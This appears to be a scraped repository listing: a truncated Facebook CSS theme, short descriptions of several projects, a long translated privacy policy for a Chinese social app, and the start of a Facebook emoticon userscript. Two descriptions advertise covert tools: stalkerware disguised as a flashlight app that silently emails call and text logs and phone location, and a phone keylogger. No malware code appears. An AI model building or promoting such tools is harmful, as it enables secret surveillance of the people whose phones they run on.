a:hover,.insights-header,.ufb-dataTable-header-container,.ufb-button,.older-posts-content,.mleButton:hover,.btnLink,.fill,.cropMessage,.adminPanelList li:hover a,.tlPageRecentOverlayStream,.addListPageMegaphone,.searchListsBox,.ogStaticPagerHeader,.dialogTitle,#rogerSidenavCallout,.fbTimelineAggregatedMapUnitSeeAll,.shareRedesignContainer,.ogSingleStoryText,.ogSliderAnimPagerPrevWrapper,.ogSliderAnimPagerNextWrapper,.shareRedesignText,.pluginRecommendationsBarTop,.timelineRecentActivityStory:hover, .ogAggregationPanelUFI\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat !important;}\n\n.hovercard .stage,.profileChip,.GM_options_wrapper_inner,.MessagingReadHeader .uiHeader,#MessagingShelf,#navAccount ul,.uiTypeaheadView,#blueBar,.uiFacepileItem .uiTooltipWrap,.fbJewelFlyout,.jewelItemList li,.notification:not(.jewelItemNew),.fbNubButton,.fbChatTourCallout .body,.uiContextualDialogContent,.fbTimelineStickyHeader .back,.timelineExpandLabel:hover,.pageNotifFooter a,.fbSettingsListLink:hover,.uiOverlayPageContent,#bfb_option_list,.fbPhotoSnowlift .rhc,.ufb-tip-title,.balloon-content,.tlPageRecentOverlayTitle,.uiDialog,.uiDialogForm,.permissionsLockText, .uiMenuXBorder,.-cx-PRIVATE-uiDialog__content,.-cx-PRIVATE-uiDialog__title, ._k5\n{ background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Wallpaper/GlassShiny.png\") fixed repeat, rgba(10,10,10,.6) !important; }\n\n.unread .badge,.fbDockChatBuddyListNub .icon,.sx_7173a9,.selectedCheckable .checkmark {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball15.png\") no-repeat right center!important;}\n\ntable[class=\" \"] .badge:hover,table[class=\"\"] .badge:hover,.offline .fbDockChatBuddyListNub .icon,.fbChatSidebar.offline .fbChatSidebarMessage .img {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball15.png\") no-repeat right center!important;}\n\n.fbChatSidebar.offline .fbChatSidebarMessage .img {height: 16px !important;}\n\n.offline .fbDockChatBuddyListNub .icon,.fbDockChatBuddyListNub .icon,.sx_7173a9 {margin-top: 0 !important;height: 15px !important;}\n\na.idle,.buddyRow.idle .buddyBlock,.fbChatTab.idle .tab_availability,.fbChatTab.disabled .tab_availability,.chatIdle .chatStatus,.idle .fbChatUserTab .wrap,.chatIdle .uiTooltipText,.markunread,.bb .fbDockChatTab.user.idle .titlebarTextWrapper,.fbChatOrderedList .item:not(.active) .status {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/grayball10paddedright.png\") no-repeat left center !important;}\n\n.fbChatOrderedList .item .status {width: 10px !important;}\n\n.headerTinymanName {max-width: 320px !important; white-space: nowrap !important; overflow: hidden !important;}\n\n.uiTooltipText {padding-left: 14px !important;border: none !important;}\n \n.fbNubButton,.bb .fbNubFlyoutTitlebar,.bb .fbNub .noTitlebar,.fbDockChatTab,#fbDockChatBuddylistNub .fbNubFlyout,.fbDockChatTabFlyout,.titlebar {border-radius: 8px 8px 0 0!important;}\n\n.uiSideNav .open {padding-right: 0 !important;}\n.uiSideNav .open,.uiSideNav .open > *,#home_stream > *,.bb .rNubContainer .fbNub,.fbChatTab {margin-left: 0 !important;}\n.uiSideNav .open ul > * {margin-left: -20px !important;}\n.uiSideNav .open .subitem > .rfloat {margin-right: 20px !important;}\n\n.timelineUnitContainer .timelineAudienceSelector .uiSelectorButton {padding: 1px !important; margin: 4px 0 0 4px !important;}\n.timelineUnitContainer .audienceSelector .uiButtonNoText .customimg {margin: 2px !important;}\n.timelineUnitContainer .composerAudienceSelector .customimg {opacity: 1 !important; background-position: 0 1px !important; padding: 0 !important;}\n\n.fbNub.user:not(.disabled) .wrap {padding-left: 15px !important;}\n.fbNubFlyoutTitlebar .titlebarText {padding-left: 12px !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.uiMenu .checked .itemAnchor {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/blueball10paddedright.png\") no-repeat !important;}\n\na.friend:not(.idle),.buddyRow:not(.idle) .buddyBlock,.fbChatTab:not(.idle):not(.disabled) .tab_availability,.chatOnline .chatStatus,.markread,a.idle,.buddyRow.idle .buddyBlock {background-position: right center !important;}\n\n.user:not(.idle):not(.disabled) .fbChatUserTab .wrap,.chatOnline .uiTooltipText,.bb .fbDockChatTab.user:not(.idle):not(.disabled) .titlebarTextWrapper,.fbChatOrderedList .item.active .status,.active .titlebarTextWrapper,.user .fbChatUserTab .wrap {background-position: left center !important;}\n\n.uiMenu .checked .itemAnchor {background-position: 5px center !important;}\n\n.markunread,.markread {background-position: 0 center !important;}\n\n.chatIdle .chatStatus,.chatOnline .chatStatus {width: 10px !important;height: 10px !important;background-position: 0 0 !important;}\n\n#fbRequestsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends-Gray.png\") no-repeat center center !important;}\n\n#fbRequestsJewel:hover .jewelButton,#fbRequestsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Friends.png\") no-repeat center center !important;}\n\n#fbMessagesJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon-gray.png\") no-repeat center center !important;}\n\n#fbMessagesJewel:hover .jewelButton,#fbMessagesJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Mail_Icon.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth-gray.png\") no-repeat center center !important;}\n\n#fbNotificationsJewel:hover .jewelButton,#fbNotificationsJewel.hasNew .jewelButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/Earth.png\") no-repeat center center !important;}\n\n.topBorder,.bottomBorder {background: #000 !important;}\n\n.pl-item,.ical,.pop_content {background-color: #333 !important;}\n.pl-alt {background-color: #222 !important;}\n\n.friend:hover,.friend:not(.idle):hover,.fbTimelineRibbon {background-color: rgba(10,10,10,.6) !important;}\n\n.maps_arrow,#sidebar_ads,.available .x_to_hide,.left_line,.line_mask,.chat_input_border,.connect_widget_button_count_nub,\n.uiStreamPrivacyContainer .uiTooltip .img,.UIObjectListing_PicRounded,.UIRoundedImage_CornersSprite,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_TR,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BL,.UITabGrid_Link:hover .UITabGrid_LinkCorner_BR,.UILinkButton_R,.pagesAboutDivider {visibility:hidden !important;}\n\n.nub,#contentCurve,#pagelet_netego_ads,img.plus,.highlighter,.uiToolbarDivider,.bfb_sticky_note_arrow_border,.bfb_sticky_note_arrow,#ConfirmBannerOuterContainer,.uiStreamHeaderBorder,.topBorder,.bottomBorder,.middleLink:after,.sideNavItem .uiCloseButton,.mask,.topSectionBottomBorder {display: none !important;}\n\n.fbChatBuddyListTypeahead {display: block !important;}\n\n.chat_input {width: 195px !important;}\n\n.fb_song_play_btn,.friend,.wrap,.uiTypeahead,.share,.raised,.donated,.recruited,.srch_landing,.story_editor,.jewelCount span, .menuPulldown {background-color: transparent !important;}\n\n.extended_link div {background-color: #fff !important}\n\n#fbTimelineHeadline,.coverImage {width: 851px !important; margin-left: 1px !important;}\n\n*:not([style*=border]) {border-color: #000 !important;}\n\n#feed_content_section_applications *,#feed_header_section_friend_lists *,.summary,.summary *,.UIMediaHeader_TitleWash,.UIMediaHeader_TitleWrapper,.feedbackView .comment th div,.searchroot,.composerView th div,.reply th div,.borderTagBox,.innerTagBox,.friend,.fbNubFlyoutTitlebar,.fbNubButton {border-color: transparent !important;}\n\n.innerTagBox:hover {border-color: rgba(10,10,10,.45) !important;box-shadow: 0 0 5px 4px #9cf !important;}\n\n.status_placeholder,.UIComposer_TDTextArea,.UIComposer_TextAreaShadow,.UIContentBox ,.box_column,form.comment div,.comment_box div,#tagger,.UIMediaItem_Wrapper,#chat_tab_bar *,.UIActionMenu_ButtonOuter input[type=\"button\"],.inner_button,.UIActionButton_Link,.divider,.UIComposer_Attachment_TDTextArea,#confirm_button,#global_maps_link,.advanced_selector,#presence_ui *,.fbFooterBorder,.wash,.main_body,.settings_screenshot,.uiBlingBox,.inputContainer *,.uiMentionsInput,.uiTypeahead,.editNoteWrapperInput,.date_divider,.chatStatus,#headNav,.jewelCount span,.fbFeedbackMentions .wrap,.uiSearchInput span,.uiSearchInput,.fbChatSidebarMessage,.devsitePage .body > .content,.timelineUnitContainer,.fbTimelineTopSection,.coverBorder,.pagesTimelineButtonPagelet .counter,#pagelet_timeline_profile_actions .counter,#navAccount.openToggler,#contentArea,.uiStreamStoryAttachmentOnly,.ogSliderAnimPagerPrev .content,.ogSliderAnimPagerNext .content,.ogSliderAnimPagerPrev .wrapper,.ogSliderAnimPagerNext .wrapper,.ogSingleStoryContent,.ogAggregationAnimSubstorySlideSingle,.uiCloseButton, .ogAggregationPanelUFI, .ogAggregationPanelText {border: none !important;}\n\n.uiStream .uiStreamHeaderTall {border-top: none !important; border-bottom: none !important;}\n\n.attachment_link a:hover,input[type=\"input\"],input[type=\"submit\"]:not(.fg_action_hide):not(.stat_elem):not([name=\"add\"]):not([name=\"actions[reject]\"]):not([name=\"actions[accept]\"]):not([value=\"Find Friends\"]):not([value=\"Share\"]):not([value=\"Maybe\"]):not([value=\"No\"]):not([value=\"Yes\"]):not([value=\"Comment\"]):not([value=\"Reply\"]):not([value=\"Flag\"]):not([type=\"submit\"]),.UITabGrid_Link:hover,.UIFilterList_Selected,.make_new_list_button_table,.confirm_button,.fb_menu_title a:hover,.Tabset_selected {border-bottom-color: #000 !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: #000 !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: #000 !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: #000 !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UITabGrid_Link,.fb_menu_title a,.button_main,.button_text,.button_left {border-bottom-color: transparent !important;border-bottom-width: 1px !important;border-bottom-style: solid !important;border-top-color: transparent !important;border-top-width: 1px !important;border-top-style: solid !important;border-left-color: transparent !important;border-left-width: 1px !important;border-left-style: solid !important;border-right-color: transparent !important;border-right-width: 1px !important;border-right-style: solid !important;-moz-appearance:none!important;}\n\n.UIObjectListing_RemoveLink,.UIIntentionalStory_CloseButton,.remove,.x_to_hide,.fg_action_hide a,.notif_del,.UIComposer_AttachmentArea_CloseButton,.delete_msg a,.ImageBlock_Hide, .fbSettingsListItemDelete,.fg_action_hide,img[src=\"http://static.ak.fbcdn.net/images/streams/x_hide_story.gif?8:142665\"],.close,.uiSelector .uiCloseButton {background: url(\"http://i795.photobucket.com/albums/yy232/DaedalusIcarusHelios/closeX.png\") no-repeat !important;t
amboxer21
Silently logs and E-mails all incoming/outgoing calls and text messages while doubling up as a flashlight app. The app also has the ability to hide itself via text message and show the phones location.
gokulrajanpillai
Does something straight forward, logs everything you type on your phone. Saves it locally on your phone itself. No hazzle no dazzle :)
LaravelDaily
No description available
AndroidKnife
Android utils, like get phone info, log, get screen info etc...
yqmark
Privacy Policy introduction We understand the importance of personal information to you and will do our utmost to protect your personal information. We are committed to maintaining your trust in us and to abide by the following principles to protect your personal information: the principle of consistency of rights and responsibilities, the principle of purpose , choose the principle of consent, at least the principle of sufficient use, ensure the principle of security, the principle of subject participation, the principle of openness and transparency, and so on. At the same time, we promise that we will take appropriate security measures to protect your personal information according to the industry's mature security solutions. In view of this, we have formulated this "Private Privacy Policy" (hereinafter referred to as "this policy" /This Privacy Policy") and remind you: This policy applies to products or services on this platform. If the products or services provided by the platform are used in the products or services of our affiliates (for example, using the platform account directly) but there is no independent privacy policy, this policy also applies to the products or services. It is important to note that this policy does not apply to other third-party services provided by you, nor to products or services on this platform that have been independently set up with a privacy policy. Before using the products or services on this platform, please read and understand this policy carefully, and use the related products or services after confirming that you fully understand and agree. By using the products or services on this platform, you understand and agree to this policy. If you have any questions, comments or suggestions about the content of this policy, you can contact us through various contact methods provided by this platform. This privacy policy section will help you understand the following: How we collect and use your personal information How do we use cookies and similar technologies? How do we share, transfer, and publicly disclose your personal information? How we protect your personal information How do you manage your personal information? How do we deal with the personal information of minors? How your personal information is transferred globally How to update this privacy policy How to contact us 一、How we collect and use your personal information Personal information refers to various information recorded electronically or otherwise that can identify a specific natural person or reflect the activities of a particular natural person, either alone or in combination with other information. We collect and use your information for the purposes described in this policy. Personal information: (一)Help you become our user To create an account so that we can serve you, you will need to provide the following information: your nickname, avatar, gender, date of birth, mobile number/signal/QQ number, and create a username and password. During the registration process, if you provide the following additional information to supplement your personal information, it will help us to provide you with better service and experience: your real name, real ID information, hometown, emotional status, constellation, occupation, school Your real avatar. However, if you do not provide this information, it will not affect the basic functions of using the platform products or services. The above information provided by you will continue to authorize us during your use of the Service. When you voluntarily cancel your account, we will make it anonymous or delete your personal information as soon as possible in accordance with applicable laws and regulations. (二)Show and push goods or services for you In order to improve our products or services and provide you with personalized information search and transaction services, we will extract your browsing, search preferences, behavioral habits based on your browsing and search history, device information, location information, and transaction information. Features such as location information, indirect crowd portraits based on feature tags, and display and push information. If you do not want to accept commercials that we send to you, you can cancel them at any time through the product unsubscribe feature. (三)Provide goods or services to you 1、Information you provide to us Relevant personal information that you provide to us when registering for an account or using our services, such as phone numbers, emails, bank card numbers or Alipay accounts; The shared information that you provide to other parties through our services and the information that you store when you use our services. Before providing the platform with the aforementioned personal information of the other party, you need to ensure that you have obtained your authorization. 2、Information we collect during your use of the service In order to provide you with page display and search results that better suit your needs, understand product suitability, and identify account anomalies, we collect and correlate information about the services you use and how they are used, including: Device Information: We will receive and record information about the device you are using (such as device model, operating system version, device settings, unique device identifier, etc.) based on the specific permissions you have granted during software installation and use. Information about the location of the device (such as Idiv address, GdivS location, and Wi-Fi that can provide relevant information) Sensor information such as access points, Bluetooth and base stations. Since the services we provide are based on the mobile social services provided by the geographic location, you confirm that the successful registration of the "this platform" account is deemed to confirm the authorization to extract, disclose and use your geographic location information. . If you need to terminate your location information to other users, you can set it to be invisible at any time. Log information: When you use our website or the products or services provided by the client, we will automatically collect your detailed usage of our services as a related web log. For example, your search query content, Idiv address, browser type, telecom carrier, language used, date and time of access, and web page history you visit. Please note that separate device information, log information, etc. are information that does not identify a particular natural person. If we combine such non-personal information with other information to identify a particular natural person or use it in conjunction with personal information, such non-personal information will be treated as personal information during the combined use, except for your authorization. Or as otherwise provided by laws and regulations, we will anonymize and de-identify such personal information. When you contact us, we may save information such as your communication/call history and content or the contact information you left in order to contact you or help you solve the problem or to document the resolution and results of the problem. 3、Your personal information collected through indirect access You can use the products or services provided by our affiliates through the link of the platform provided by our platform account. In order to facilitate our one-stop service based on the linked accounts and facilitate your unified management, we will show you on this platform. Information or recommendations for information you are interested in, including information from live broadcasts and games. You can discover and use the above services through the homepage of the platform, "More" and other functions. When you use the above services through our products or services, you authorize us to receive, aggregate, and analyze from our affiliates based on actual business and cooperation needs, we confirm that their source is legal or that you authorize to consent to your personal information provided to us or Trading Information. If you refuse to provide the above information or refuse to authorize, you may not be able to use the corresponding products or services of our affiliates, or can not display relevant information, but does not affect the use of the platform to browse, chat, release dynamics and other core services. (四)Provide you with security Please note that in order to ensure the authenticity of the user's identity and provide you with better security, you can provide us with identification information such as identity card, military officer's card, passport, driver's license, social security card, residence permit, facial identification, and other biometric information. Personally sensitive information such as Sesame Credit and other real-name certifications. If you refuse to provide the above information, you may not be able to use services such as account management, live broadcast, and continuing risky transactions, but it will not affect your use of browsing, chat and other services. To improve the security of your services provided by us and our affiliates and partners, protect the personal and property of you or other users or the public from being compromised, and better prevent phishing websites, fraud, network vulnerabilities, computer viruses, cyber attacks , security risks such as network intrusion, more accurately identify violations of laws and regulations or the relevant rules of the platform, we may use or integrate your user information, transaction information, equipment information, related web logs and our affiliates, partners to obtain You authorize or rely on the information shared by law to comprehensively judge your account and transaction risks, conduct identity verification, detect and prevent security incidents, and take necessary records, audits, analysis, and disposal measures in accordance with the law. (五)Other uses When we use the information for other purposes not covered by this policy, or if the information collected for a specific purpose is used for other purposes, you will be asked for your prior consent. (六)Exception for authorization of consent According to relevant laws and regulations, collecting your personal information in the following situations does not require your authorized consent: 1、Related to national security and national defense security; 2、Related to public safety, public health, and major public interests; 3、Related to criminal investigation, prosecution, trial and execution of judgments, etc.; 4、It is difficult to obtain your own consent for the maintenance of the important legal rights of the personal information or other individuals’ lives and property; 5、The personal information collected is disclosed to the public by yourself; 二、How do we use cookies and similar technologies? (一)Cookies To ensure that your site is up and running, to give you an easier access experience, and to recommend content that may be of interest to you, we store a small data file called a cookie on your computer or mobile device. Cookies usually contain an identifier, a site name, and some numbers and characters. With cookies, websites can store data such as your preferences. (二)Website Beacons and Pixel Labels In addition to cookies, we use other technologies like web beacons and pixel tags on our website. For example, the email we send to you may contain an address link to the content of our website. If you click on the link, we will track the click to help us understand your product or service preferences so that we can proactively improve customer service. Experience. A web beacon is usually a transparent image that is embedded in a website or email. With the pixel tags in the email, we can tell if the email is open. If you don't want your event to be tracked this way, you can unsubscribe from our mailing list at any time. 三、How do we share, transfer, and publicly disclose your personal information? (一)shared We do not share your personal information with companies, organizations, and individuals other than the platform's service providers, with the following exceptions: 1、Sharing with explicit consent: We will share your personal information with others after obtaining your explicit consent. 2、Sharing under statutory circumstances: We may share your personal information in accordance with laws and regulations, litigation dispute resolution needs, or in accordance with the requirements of the administrative and judicial authorities. 3. Sharing with affiliates: In order to facilitate our services to you based on linked accounts, we recommend information that may be of interest to you or protect the personal property of affiliates or other users or the public of this platform from being infringed. Personal information may be shared with our affiliates. We will only share the necessary personal information (for example, to facilitate the use of our affiliated company products or services, we will share your necessary account information with affiliates) if we share your personal sensitive information or affiliate changes The use of personal information and the purpose of processing will be re-examined for your authorization. 4. Sharing with Authorized Partners: For the purposes stated in this Privacy Policy, some of our services will be provided by us and our authorized partners. We may share some of your personal information with our partners to provide better customer service and user experience. For example, arrange a partner to provide services. We will only share your personal information for legitimate, legitimate, necessary, specific, and specific purposes, and will only share the personal information necessary to provide the service. Our partners are not authorized to use shared personal information for other purposes unrelated to the product or service. Currently, our authorized partners include the following types: (2) Suppliers, service providers and other partners. We send information to suppliers, service providers and other partners who support our business, including providing technical infrastructure services, analyzing how our services are used, measuring the effectiveness of advertising and services, providing customer service, and facilitating payments. Or conduct academic research and investigations. (1) Authorized partners in advertising and analytics services. We will not use your personally identifiable information (information that identifies you, such as your name or email address, which can be used to contact you or identify you) and provide advertising and analytics services, unless you have your permission. Shared by partners. We will provide these partners with information about their advertising coverage and effectiveness, without providing your personally identifiable information, or we may aggregate this information so that it does not identify you personally. For example, we’ll only tell advertisers how effective their ads are when they agree to comply with our advertising guidelines, or how many people see their ads or install apps after seeing ads, or work with them. Partners provide statistical information that does not identify individuals (eg “male, 25-29 years old, in Beijing”) to help them understand their audience or customers. For companies, organizations and individuals with whom we share personal information, we will enter into strict data protection agreements with them to process individuals in accordance with our instructions, this Privacy Policy and any other relevant confidentiality and security measures. information. (2) Transfer We do not transfer your personal information to any company, organization or individual, except: Transfer with the express consent: After obtaining your explicit consent, we will transfer your personal information to other parties; 2, in the case of mergers, acquisitions or bankruptcy liquidation, or other circumstances involving mergers, acquisitions or bankruptcy liquidation, if it involves the transfer of personal information, we will require new companies and organizations that hold your personal information to continue to receive This policy is bound, otherwise we will ask the company, organization and individual to re-seek your consent. (3) Public disclosure We will only publicly disclose your personal information in the following circumstances: We may publicly disclose your personal information by obtaining your explicit consent or based on your active choice; 2, if we determine that you have violated laws and regulations or serious violations of the relevant rules of the platform, or to protect the personal safety of the platform and its affiliates users or the public from infringement, we may be based on laws and regulations or The relevant agreement rules of this platform disclose your personal information, including related violations, and the measures that the platform has taken against you, with your consent. (4) Exceptions for prior authorization of consent when sharing, transferring, and publicly disclosing personal information In the following situations, sharing, transferring, and publicly disclosing your personal information does not require prior authorization from you: Related to national security and national defense security; Related to public safety, public health, and major public interests; 3, related to criminal investigation, prosecution, trial and judgment execution; 4, in order to protect your or other individuals' life, property and other important legal rights but it is difficult to get my consent; Personal information that you disclose to the public on your own; Collect personal information from legally publicly disclosed information, such as legal news reports and government information disclosure. According to the law, sharing, transferring and de-identifying personal information, and ensuring that the data recipient cannot recover and re-identify the personal information subject, does not belong to the external sharing, transfer and public disclosure of personal information. The preservation and processing of the class data will not require additional notice and your consent. How do we protect your personal information? (1) We have taken reasonable and feasible security measures in accordance with the industry's general solutions to protect the security of personal information provided by you, and to prevent unauthorized access, public disclosure, use, modification, damage or loss of personal information. For example, SSL (Secure Socket) when exchanging data (such as credit card information) between your browser and the server Layer) protocol encryption protection; we use encryption technology to improve the security of personal information; we use a trusted protection mechanism to prevent personal information from being maliciously attacked; we will deploy access control mechanisms to ensure that only authorized personnel can access individuals Information; and we will conduct security and privacy protection training courses to enhance employees' awareness of the importance of protecting personal information. (2) We have advanced data security management system around the data life cycle, which enhances the security of the whole system from organizational construction, system design, personnel management, product technology and other aspects. (3) We will take reasonable and feasible measures and try our best to avoid collecting irrelevant personal information. We will only retain your personal information for the period of time required to achieve the purposes stated in this policy, unless the retention period is extended or permitted by law. (4) The Internet is not an absolutely secure environment. We strongly recommend that you do not use personal communication methods that are not recommended by this platform. You can connect and share with each other through our services. When you create communications, transactions, or sharing through our services, you can choose who you want to communicate, trade, or share as a third party who can see your trading content, contact information, exchange information, or share content. If you find that your personal information, especially your account or password, has been leaked, please contact our customer service immediately so that we can take appropriate measures according to your application. Please note that the information you voluntarily share or even share publicly when using our services may involve personal information of you or others or even sensitive personal information, such as when you post a news or choose to upload in public in group chats, circles, etc. A picture containing personal information. Please consider more carefully whether you share or even share information publicly when using our services. Please use complex passwords to help us keep your account secure. We will do our best to protect the security of any information you send us. At the same time, we will report the handling of personal information security incidents in accordance with the requirements of the regulatory authorities. V. How your personal information is transferred globally Personal information collected and generated by us during our operations in the People's Republic of China is stored in China, with the following exceptions: Laws and regulations have clear provisions; 2, get your explicit authorization; 3, you through the Internet for cross-border live broadcast / release dynamics and other personal initiatives. In response to the above, we will ensure that your personal information is adequately protected in accordance with this Privacy Policy.
RhenSacro
// ==UserScript== // @name Doi ten Facebook // @description All about facebook By Erosaka // @include https://*.facebook.com/* // @include https://*.facebook.com/*/* // @include http://*.facebook.com/* // @include http://*.facebook.com/*/* // ==/UserScript== // ==13470X== // ============== // ==Icon== (function() { // Active only in main frame if (!document.querySelector("#pageNav")) { return; } //console.info("Extra Facebook Smileys"); // = Data ======= var emoticons = [ { // Text to picture emoticons "chars" : " :) ", "class" : "emoticon_smile", "name" : "Smiley" }, { "chars" : " :( ", "class" : "emoticon_frown", "name" : "Frown" }, { "chars" : " :P ", "class" : "emoticon_tongue", "name" : "Tongue" }, { "chars" : " :D ", "class" : "emoticon_grin", "name" : "Grin" }, { "chars" : " :o ", "class" : "emoticon_gasp", "name" : "Gasp" }, { "chars" : " ;) ", "class" : "emoticon_wink", "name" : "Wink" }, { "chars" : " :v ", "class" : "emoticon_pacman", "name" : "Pacman" }, { "chars" : " >:( ", "class" : "emoticon_grumpy", "name" : "Gruñón" }, { "chars" : " :/ ", "class" : "emoticon_unsure", "name" : "Unsure" }, { "chars" : " :'( ", "class" : "emoticon_cry", "name" : "Cry" }, { "chars" : " ^_^ ", "class" : "emoticon_kiki", "name" : "Kiki" }, { "chars" : " 8) ", "class" : "emoticon_glasses", "name" : "Glasses" }, { "chars" : " B| ", "class" : "emoticon_sunglasses", "name" : "Sunglasses" }, { "chars" : " <3 ", "class" : "emoticon_heart", "name" : "Heart" }, { "chars" : " 3:) ", "class" : "emoticon_devil", "name" : "Devil" }, { "chars" : " O:) ", "class" : "emoticon_angel", "name" : "Angel" }, { "chars" : " -_- ", "class" : "emoticon_squint", "name" : "Squint" }, { "chars" : " o.O ", "class" : "emoticon_confused", "name" : "Confused" }, { "chars" : " >:o ", "class" : "emoticon_upset", "name" : "Upset" }, { "chars" : " :3 ", "class" : "emoticon_colonthree", "name" : "Colonthree" }, { "chars" : " (y) ", "class" : "emoticon_like", "name" : "Like" }, { "chars" : " :* ", "class" : "emoticon emoticon_kiss", "name" : "Kiss" }, { "chars" : " (^^^) ", "class" : "emoticon_shark", "name" : "Shark" }, { "chars" : " :|] ", "class" : "emoticon_robot", "name" : "Robot" }, { "chars" : " <(\") ", "class" : "emoticon_penguin", "name" : "Pingüino" }, { "chars" : " :poop: ", "class" : "emoticon_poop", "name" : "Poop" }, { "chars" : " :putnam: ", "class" : "emoticon_putnam", "name" : "Putman" }, { "chars" : " \ud83c\udf02 ", "class" : "_1az _1a- _2c0", "name" : "Pink Umbrella" }, { "chars" : " \ud83c\udf0a ", "class" : "_1az _1a- _2c1", "name" : "Sea Wave" }, { "chars" : " \ud83c\udf19 ", "class" : "_1az _1a- _2c2", "name" : "Crescent moon" }, { "chars" : " \ud83c\udf1f ", "class" : "_1az _1a- _2c3", "name" : "Bright Star" }, { "chars" : " \ud83c\udf31 ", "class" : "_1az _1a- _2c4", "name" : "Seedbed" }, { "chars" : " \ud83c\udf34 ", "class" : "_1az _1a- _2c5", "name" : "Single Palm Tree" }, { "chars" : " \ud83c\udf35 ", "class" : "_1az _1a- _2c6", "name" : "Cactus" }, { "chars" : " \ud83c\udf37 ", "class" : "_1az _1a- _2c7", "name" : "Tulip" }, { "chars" : " \ud83c\udf38 ", "class" : "_1az _1a- _2c8", "name" : "Cherry Blossom" }, { "chars" : " \ud83c\udf39 ", "class" : "_1az _1a- _2c9", "name" : "Rose" }, { "chars" : " \ud83c\udf3a ", "class" : "_1az _1a- _2ca", "name" : "Cayenne" }, { "chars" : " \ud83c\udf3b ", "class" : "_1az _1a- _2cb", "name" : "Sunflower" }, { "chars" : " \ud83c\udf3e ", "class" : "_1az _1a- _2cc", "name" : "Ear Of Rice" }, { "chars" : " \ud83c\udf40 ", "class" : "_1az _1a- _2cd", "name" : "Four Leaf Clover" }, { "chars" : " \ud83c\udf41 ", "class" : "_1az _1a- _2ce", "name" : "Maple Leaf" }, { "chars" : " \ud83c\udf42 ", "class" : "_1az _1a- _2cf", "name" : "Fallen Leaf" }, { "chars" : " \ud83c\udf43 ", "class" : "_1az _1a- _2cg", "name" : "Leaf Floating In The Wind" }, { "chars" : " \ud83c\udf4a ", "class" : "_1az _1a- _2ch", "name" : "Tangerine" }, { "chars" : " \ud83c\udf4e ", "class" : "_1az _1a- _2ci", "name" : "Red Apple" }, { "chars" : " \ud83c\udf53 ", "class" : "_1az _1a- _2cj", "name" : "Strawberry" }, { "chars" : " \ud83c\udf54 ", "class" : "_1az _1a- _2ck", "name" : "Burger" }, { "chars" : " \ud83c\udf78 ", "class" : "_1az _1a- _2cl", "name" : "Cocktail Glass" }, { "chars" : " \ud83c\udf7a ", "class" : "_1az _1a- _2cm", "name" : "Tankard" }, { "chars" : " \ud83c\udf81 ", "class" : "_1az _1a- _2cn", "name" : "Gift Wrapped" }, { "chars" : " \ud83c\udf83 ", "class" : "_1az _1a- _2co", "name" : "Pumpkin With Candle" }, { "chars" : " \ud83c\udf84 ", "class" : "_1az _1a- _2cp", "name" : "Christmas Tree" }, { "chars" : " \ud83c\udf85 ", "class" : "_1az _1a- _2cq", "name" : "Santa" }, { "chars" : " \ud83c\udf88 ", "class" : "_1az _1a- _2cr", "name" : "Balloon" }, { "chars" : " \ud83c\udf89 ", "class" : "_1az _1a- _2cs", "name" : "Party Popper" }, { "chars" : " \ud83c\udf8d ", "class" : "_1az _1a- _2ct", "name" : "Pine Decor" }, { "chars" : " \ud83c\udf8e ", "class" : "_1az _1a- _2cu", "name" : "Japanese Dolls" }, { "chars" : " \ud83c\udf8f ", "class" : "_1az _1a- _2cv", "name" : "Carp Streamer" }, { "chars" : " \ud83c\udf90 ", "class" : "_1az _1a- _2cw", "name" : "Wind Chime" }, { "chars" : " \ud83c\udf93 ", "class" : "_1az _1a- _2cx", "name" : "Graduation Cap" }, { "chars" : " \ud83c\udfb5 ", "class" : "_1az _1a- _2cy", "name" : "Musical Note" }, { "chars" : " \ud83c\udfb6 ", "class" : "_1az _1a- _2cz", "name" : "Multiple Musical Notes" }, { "chars" : " \ud83c\udfbc ", "class" : "_1az _1a- _2c-", "name" : "Musical Score" }, { "chars" : " \ud83d\udc0d ", "class" : "_1az _1a- _2c_", "name" : "Snake" }, { "chars" : " \ud83d\udc0e ", "class" : "_1az _1a- _2d0", "name" : "Horse" }, { "chars" : " \ud83d\udc11 ", "class" : "_1az _1a- _2d1", "name" : "Sheep" }, { "chars" : " \ud83d\udc12 ", "class" : "_1az _1a- _2d2", "name" : "Monkey" }, { "chars" : " \ud83d\udc14 ", "class" : "_1az _1a- _2d3", "name" : "Hen" }, { "chars" : " \ud83d\udc17 ", "class" : "_1az _1a- _2d4", "name" : "Wild Boar" }, { "chars" : " \ud83d\udc18 ", "class" : "_1az _1a- _2d5", "name" : "Elephant" }, { "chars" : " \ud83d\udc19 ", "class" : "_1az _1a- _2d6", "name" : "Octopus" }, { "chars" : " \ud83d\udc1a ", "class" : "_1az _1a- 